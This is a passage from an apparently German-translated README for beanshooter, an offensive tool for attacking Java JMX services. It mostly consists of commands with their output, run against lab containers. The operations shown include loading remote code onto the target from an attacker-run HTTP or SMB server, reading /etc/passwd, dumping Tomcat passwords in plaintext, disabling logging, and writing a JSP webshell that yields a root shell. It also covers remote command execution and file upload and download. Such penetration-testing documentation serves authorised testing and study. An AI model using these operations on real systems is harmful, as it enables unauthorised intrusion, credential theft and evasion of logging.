undeploy undeploys the specified MBEAN from the JMX server
named arguments: -h, --help show this help message and exit
### Generische MBean-Operationen
---
Einige *beanshooter*-Operationen sind für jede *MBean* verfügbar und werden in diesem Abschnitt vorgestellt.
Diese generischen *MBean*-Operationen spiegeln oft die Funktionalität der [Basisoperationen](#basic-operations) wider,
jedoch ohne die Angabe eines *ObjectName* zu erfordern.
#### Generisches Attr
Die `attr`-Aktion funktioniert genauso wie die `attr`-Aktion der Basisoperationen. Allerdings muss der *ObjectName*
nicht mehr angegeben werden, da er in der angegebenen *MBean* enthalten ist.```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase
Die deploy-Aktion funktioniert im Wesentlichen wie die deploy-Aktion aus den grundlegenden Operationen.
Da der Klassenname, der ObjectName und die implementierende jar-Datei jedoch bereits alle mit dem
angegebenen MBean assoziiert sind, müssen Sie bei dieser Aktion nur die Option --stager-url angeben (vorausgesetzt,
dass eine integrierte jar-Datei verfügbar ist):```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known to the server.
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 440441bf8c794d40a83caf1e34cd9993
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /440441bf8c794d40a83caf1e34cd9993
[+] Sending jar file with md5sum: 55a843002e13f763137d115ce4caf705
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed
Ab *beanshooter v4.1.0* ist es auch möglich, die *TonkaBean* über die [standard](#standard)-Aktion bereitzustellen.
Die Bereitstellung von Beans über die `standard`-Aktion **erfordert keine** ausgehenden Netzwerkverbindungen vom Zielserver.
#### Generischer Export
Manchmal ist es nicht möglich, eine *MBean*-Implementierung mit dem *beanshooters*-Stagerserver bereitzustellen. Ein häufiges Szenario ist, dass ausgehende Verbindungen zu Ihrem lokalen Rechner blockiert sind. In solchen Situationen möchten Sie die *MBean* möglicherweise von einem anderen Ort laden, z. B. von einem *SMB*-Dienst im internen Netzwerk, auf den Sie Schreibzugriff haben.
Die Aktion `export` exportiert die *jar*-Datei, die die angegebene *MBean* implementiert, sowie ein entsprechendes *MLet HTML*-Dokument, das zum Laden der *MBean* mittels *MLet* erforderlich ist. Angenommen, Sie möchten die *TonkaBean* von einem *SMB*-Dienst bereitstellen, der auf `10.10.10.5` lauscht, könnten Sie den folgenden Befehl verwenden:```console
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:////10.10.10.5/share/
Danach können Sie die exportierte jar-Datei und die index.html-Datei zum SMB-Dienst hochladen und die beanshooters-Bereitstellungsaktion mit der Option --stager-url file:////10.10.10.5/share/index.html verwenden.
Die Aktion info listet Methoden- und Attributinformationen des angegebenen MBean auf:```console
[qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090
[+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean
[+] ObjectName: Users:type=UserDatabase,database=UserDatabase
[+]
[+] Attributes:
[+] modelerType (type: java.lang.String , writable: false)
[+] readonly (type: boolean , writable: false)
[+] roles (type: [Ljava.lang.String; , writable: false)
[+] groups (type: [Ljava.lang.String; , writable: false)
[+] users (type: [Ljava.lang.String; , writable: false)
[+] pathname (type: java.lang.String , writable: true)
[+] writable (type: null , writable: false)
[+]
[+] Operations:
[+] java.lang.String findGroup(java.lang.String groupname)
[+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName)
[+] void removeGroup(java.lang.String groupname)
[+] void removeUser(java.lang.String username)
[+] void save()
[+] java.lang.String findRole(java.lang.String rolename)
[+] void removeRole(java.lang.String rolename)
[+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description)
[+] java.lang.String findUser(java.lang.String username)
[+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)
#### Generischer Aufruf
Die Aktion `invoke` kann verwendet werden, um eine beliebige Methode auf dem angegebenen *MBean* aufzurufen:```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase
Die Aktion stats listet einige allgemeine Informationen über das angegebene MBean auf.
Dies sind die Informationen, die beanshooters lokal über das entsprechende MBean speichert, und keine Serverinteraktion erforderlich ist.```console
[qtc@devbox ~]$ beanshooter tonka stats
[+] MBean: tonka
[+] Object Name: MLetTonkaBean:name=TonkaBean,id=1
[+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)
Die `Jar File`-Information gibt an, ob eine Implementierung des entsprechenden *MBean* in *beanshooter* integriert ist. Diese Jar-Datei wird bei der Bereitstellung verwendet, sofern sie nicht mit der Option `--jar-file` überschrieben wird. Derzeit ist *TonkaBean* das einzige *MBean*, für das eine *Jar File* verfügbar ist.
#### Generic Status
Die Aktion `status` prüft, ob das entsprechende *MBean* bereits im *JMX*-Dienst verfügbar ist:```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed
Die Undeploy-Aktion entfernt das angegebene MBean von einem entfernten JMX-Dienst:```console [qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010 [+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer. [+] MBean was successfully removed.
### Diagnostic
---
Der *DiagnosticCommandMBean* ist ein nützliches *MBean*, das oft standardmäßig auf *JMX-Servern* bereitgestellt wird.
Es implementiert verschiedene Methoden, die aus offensiver Perspektive interessant sind. Einige von
ihnen sind als *beanshooter*-Operationen implementiert. Andere können natürlich manuell aufgerufen werden.
#### Diagnostic Read
Die `read`-Operation kann verwendet werden, um Textdateien auf dem *MBean*-Server zu lesen. Die Operation verwendet die
`addCompilerDirective`-Methode, um eine Ausnahme auszulösen, die den Inhalt der angegebenen
Textdatei enthält:```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Diese Technik wurde ursprünglich von @TheLaluka innerhalb des jolokia-exploitation-toolkit implementiert.
Der load-Vorgang kann verwendet werden, um eine gemeinsam genutzte Bibliothek aus dem Dateisystem des JMX-Servers zu laden:```console
[qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6
[+] The server complained about the missing function Agent_OnAttach
[+] The specified library was loaded succesfully.
#### Diagnostik-Logdatei
Die Aktion `logfile` kann verwendet werden, um den Speicherort der Logdatei der *JVM* zu ändern:```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log
Die nolog-Aktion kann verwendet werden, um die Protokollierung zu deaktivieren (nützlich, um den Logdatei-Handle zu schließen):```console
[qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090
[+] Logging was disabled successfully.
#### Diagnostik-Cmdline
Die Aktion `cmdline` gibt die Befehlszeile aus, mit der die *JVM* gestartet wurde:```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD
Die Aktion props gibt eine Liste der Systemeigenschaften aus:```console
[qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090
#Mon Jul 25 19:17:52 UTC 2022
com.sun.management.jmxremote.rmi.port=1099
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
...
### HotSpot
---
Der *HotSpotDiagnosticMXBean* stellt eine Schnittstelle zur Verwaltung der *HotSpot Virtual Machine* bereit und unterstützt einige Methoden, die aus offensiver Perspektive nützlich sind.
#### HotSpot dump
Die Aktion `dump` erstellt einen Heapdump und speichert ihn an einem beliebigen Ort auf dem Anwendungsserver. Die einzige Voraussetzung ist, dass der Dump als Datei mit der Erweiterung `.hprof` gespeichert wird:```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.
Die Aktion list gibt eine Liste der verfügbaren Diagnostic Options und deren zugehörigen Werte aus:```console
[qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090
[+] HeapDumpBeforeFullGC (value = false, writable = true)
[+] HeapDumpAfterFullGC (value = false, writable = true)
[+] HeapDumpOnOutOfMemoryError (value = false, writable = true)
[+] HeapDumpPath (value = , writable = true)
...
#### HotSpot get
Die `get`-Aktion ermöglicht es, den Wert der angegebenen Option abzurufen:```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true
Die set-Aktion ermöglicht es, den Wert der angegebenen Option festzulegen:```console
[qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true
[+] Option was set successfully.
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: true
[+] Writable: true
### MLet
---
Der *MLetMBean* ist ein bekannter *MBean*, der zum Laden weiterer *MBeans* über das Netzwerk verwendet werden kann. Er wird bereits implizit von der `deploy`-Aktion von *beanshooters* genutzt, kann aber auch manuell über die `mlet`-Operation aufgerufen werden.
#### MLet Load
Die derzeit einzige implementierte *MLet*-Methode ist die `load`-Operation, mit der eine *MBean*-Klasse von einer benutzerdefinierten *URL* geladen werden kann:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 3584de270132420aaf0812366bc46035
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /3584de270132420aaf0812366bc46035
[+] Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.
Das obige Beispiel zeigt, wie der TonkaBean manuell mit der mlet-Operation geladen werden kann. Wenn Sie stattdessen einen benutzerdefinierten MBean laden möchten, müssen Sie das Schlüsselwort custom anstelle von tonka angeben und die Optionen --class-name, --object-name und --jar-file bereitstellen:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar
[+] Starting MBean deployment.
[+] ...
[+] MBean was loaded successfully.
### Recoder
---
Das *FlightRecorderMXBean* bietet eine Schnittstelle zur Verwaltung des *Flight Recorders*
und unterstützt einige Methoden, die aus offensiver Sicht interessant sind.
#### Recoder new
Die `new`-Operation startet eine neue Aufzeichnung. Die zurückgegebene Aufzeichnungs-ID kann als Ziel
für andere Operationen verwendet werden:```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1
Die start-Aktion startet eine bereits vorhandene Aufzeichnung und erwartet die Aufzeichnungs-ID als zusätzliches Argument:```console
[qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1
[+] Recording with ID 1 started successfully.
#### Recorder-Dump
Während eine Aufzeichnung aktiv ist, können ihre Inhalte mit der Aktion `dump` ausgegeben werden. Dies speichert die Aufzeichnungsinformationen in einer Dump-Datei auf dem *JMX-Server*:```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat
Die stop Aktion kann verwendet werden, um eine Aufnahme zu stoppen:```console
[qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1
[+] Recording with ID 1 stopped successfully.
#### Recorder speichern
Nachdem eine Aufnahme gestoppt wurde, kann sie mit der Aktion `save` gespeichert werden. Im Gegensatz zur Aktion `dump` speichert dies die Aufnahme auf dem lokalen Rechner anstatt auf dem Anwendungsserver.```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat
Die tomcat-Operation interagiert mit dem MemoryUserDatabaseMBean von Apache Tomcat. Dieses MBean bietet Zugriff auf Benutzerkonten, die auf einem Tomcat-Dienst verfügbar sind.
Die dump-Aktion gibt die auf dem Tomcat-Server verfügbaren Benutzernamen und Passwörter in lokale Dateien aus.
Wird es mit einem einzigen Argument aufgerufen, werden die Anmeldedaten im Format <username>:<password> ausgegeben:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/creds.txt
[qtc@devbox ~]$ cat creds.txt
manager:P@55w0rD#
admin:s3cr3T!$
status:[email protected]
Wenn mit zwei Argumenten aufgerufen, werden Benutzernamen im ersten angegebenen Speicherort gespeichert, Passwörter im zweiten:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt
Der list-Vorgang listet verfügbare Benutzerkonten, deren zugehörige Rollen und Anmeldeinformationen auf:```console
[qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090
[+] Listing tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: status
[+] Password: [email protected]
[+] Roles:
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
#### Tomcat Write
Der `write`-Vorgang schreibt eine teilweise kontrollierte Datei an einen beliebigen Ort auf dem Anwendungsserver. Diese Aktion kann verwendet werden, um zuverlässig eine Webshell auf einem *Tomcat*-Dienst bereitzustellen:```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Current user database is at conf/tomcat-users.xml
[+] Current user database is readonly
[+] Adjusting readonly property to make it writable.
[+] Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Creating new role containing the local file content.
[+] Saving modified user database.
[+] Restoring readonly property.
[+] Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)
Die write-Aktion nutzt einen Encoding-Fehler im UserDatabase MBean von Apache Tomcat aus. Wir haben den Fehler gemeldet, aber er wurde nicht als Sicherheitslücke betrachtet. Zum Schreiben an beliebige Orte muss beanshooter den Speicherort der UserDatabase ändern. Alle Änderungen werden nach dem Schreiben der gewünschten Datei rückgängig gemacht, aber seien Sie trotzdem vorsichtig in Produktionsumgebungen.
Der TonkaBean ist ein benutzerdefinierter MBean, der vom beanshooter-Projekt implementiert wird und Dateisystemzugriff sowie Befehlsausführung auf dem JMX-Server ermöglicht. Auf seine Aktionen kann über die tonka-Operation zugegriffen werden, gefolgt von der gewünschten Aktion.
Die exec-Aktion kann verwendet werden, um einen einzelnen Befehl auf dem JMX-Dienst aufzurufen:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id
[+] Invoking the executeCommand method with argument: id
[+] The call was successful
[+]
[+] Server response:
uid=0(root) gid=0(root) groups=0(root)
Das letzte Argument der exec-Operation muss ein String sein. Wenn die Option `--shell` nicht verwendet wird, wird dieser String an Leerzeichen geteilt (unter Berücksichtigung von Anführungszeichen) und als Array an die `ProcessBuilder`-Klasse auf der Serverseite übergeben.
Wenn `--shell` verwendet wurde, wird der angegebene Shell-String an Leerzeichen geteilt und das resultierende Array wird mit dem angegebenen Argument-String verbunden, bevor es an die `ProcessBuilder`-Klasse übergeben wird. Dies ermöglicht eine shell-ähnliche Ausführung mit korrekt interpretierten Shell-Sonderzeichen:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b
Der Einfachheit halber werden gängige Shells automatisch mit dem erforderlichen Befehlszeichenfolgen-Argument versehen.
Daher wird --shell ash automatisch in --shell 'ash -c' umgewandelt.
Die execarray-Operation ist der exec-Aktion sehr ähnlich, erwartet jedoch nicht einen String als Argument und teilt diesen String an Leerzeichen, um das Befehlsarray zu erstellen, sondern die execarray-Operation ermöglicht die Angabe mehrerer Argumente, die direkt als Befehlsarray für die ProcessBuilder-Klasse verwendet werden:```console
[qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOME
[+] The call was successful
[+]
[+] Server response:
/root
#### Tonka Shell
Die `shell`-Aktion startet eine Befehlsshell, in der Sie Befehle angeben können, die auf dem *JMX*-Server ausgeführt werden. Die Shell ist nicht vollständig interaktiv und stellt nur einen Wrapper um die `Runtime.exec`-Methode von *Java* dar. Es ist jedoch eine grundlegende Unterstützung für Umgebungsvariablen und ein aktuelles Arbeitsverzeichnis implementiert:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example
Das obige Beispiel zeigt, wie Umgebungsvariablen mit dem Schlüsselwort !env gesetzt werden. Neben diesem
Schlüsselwort stehen mehrere andere zur Verfügung:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ !help
Available shell commands:
execute the specified command
cd
#### Tonka Upload
Die `upload`-Aktion kann verwendet werden, um eine Datei auf den *JMX*-Server hochzuladen:```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat
Die Aktion download kann verwendet werden, um eine Datei vom JMX-Server herunterzuladen:```console
[qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd
[+] Saving remote file /etc/passwd to local path /home/qtc/passwd
[+] 1172 bytes were written to /home/qtc/passwd
### JMXMP
---
*JMX* Dienste können verschiedene Verbindungstypen verwenden. Der mit Abstand am häufigsten verwendete Verbindungstyp ist *Java RMI*, der
den Zugriff auf *JMX* basierend auf dem *Java RMI*-Protokoll ermöglicht. Ein weiterer verbreiteter Verbindungstyp ist das *JMX Message Protocol*
(*JMXMP*), das trotz seiner Veralterung immer noch recht häufig anzutreffen ist. *beanshooter* bietet integrierte *JMXMP*-Unterstützung
und versucht, sich über *JMXMP* zu verbinden, wenn die Option `--jmxmp` verwendet wird:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server does not use SASL.
[+] Login is possible without specifying credentials.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] - 22 MBeans are currently registred on the MBean server.
[+] Found 0 non default MBeans.
Authentifizierte JMXMP-Endpunkte werden normalerweise mit SASL geschützt. Wenn SASL aktiviert ist, erfordert ein JMX-Endpunkt in der Regel, dass der Client mit einem bestimmten SASL-Profil verbindet. Verfügbare Profile für beanshooter sind:
Jedes von ihnen kann optional mit TLS gepaart werden, indem die --ssl-Option verwendet wird. Bei Verwendung der enum-Aktion an einem SASL-geschützten
JMXMP-Endpunkt versucht beanshooter, das erforderliche SASL-Profil zu ermitteln. Während die Bestimmung des erforderlichen SASL-Mechanismus normalerweise möglich ist, kann die erforderliche TLS-Einstellung nicht enumeriert werden:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/NTLM SASL profile.
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
### Jolokia Unterstützung
---
Ab *v4.0.0* unterstützt *beanshooter* [Jolokia](https://github.com/rhuss/jolokia)-basierte JMX-Endpunkte.
Um eine Verbindung zu einem *Jolokia*-basierten Endpunkt herzustellen, werden das übliche Zielformat und die `--jolokia`-Flagge benötigt:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] - Login successful! The specified credentials are correct.
[+] Username: manager - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] - Agent Version 1.7.1 - Protocol Version: 7.2
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] - Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 75 MBeans are currently registred on the MBean server.
[+] Listing 56 non default MBeans:
...
Aufgrund des eingeschränkten Funktionsumfangs von Jolokia werden nicht alle beanshooter-Operationen unterstützt. Bitte
konsultieren Sie die Jolokia FAQ bei Fragen. Zum Herumspielen mit
Jolokia stellt beanshooter einen Beispiel-Server
bereit, der einen Jolokia-Endpunkt auf Port 8080 freigibt. Zusätzlich ist ein regulärer RMI-basierter JMX-Endpunkt
auf Port 1090 verfügbar.
Seit Version v3.1.1 ist beanshooter auch als Docker-Image verfügbar und kann aus der
GitHub Container Registry bezogen werden.
Für jede Version gibt es eine normale und eine schlanke Version. Beide bieten eine voll funktionsfähige Version von
beanshooter, aber nur die normale Version enthält ysoserial,
was zu einer größeren Image-Größe führt:
docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0 - 124MBdocker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim - 64.8MBSie können den Container auch selbst erstellen, indem Sie die folgenden Befehle ausführen:```console [user@host ~]$ git clone https://github.com/qtc-de/beanshooter [user@host ~]$ cd beanshooter && docker build -t beanshooter .
### Beispielserver
---


Die meisten der oben vorgestellten Beispiele basieren auf dem [jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server)
und dem [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server).
Diese Server befinden sich in diesem Repository im Ordner [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) und können zum Üben der *JMX*-Enumeration verwendet werden.
Sie können die entsprechenden Container entweder selbst erstellen oder direkt aus der *GitHub Container Registry* laden.
Copyright 2023, Tobias Neitzel und die *beanshooter*-Mitwirkenden.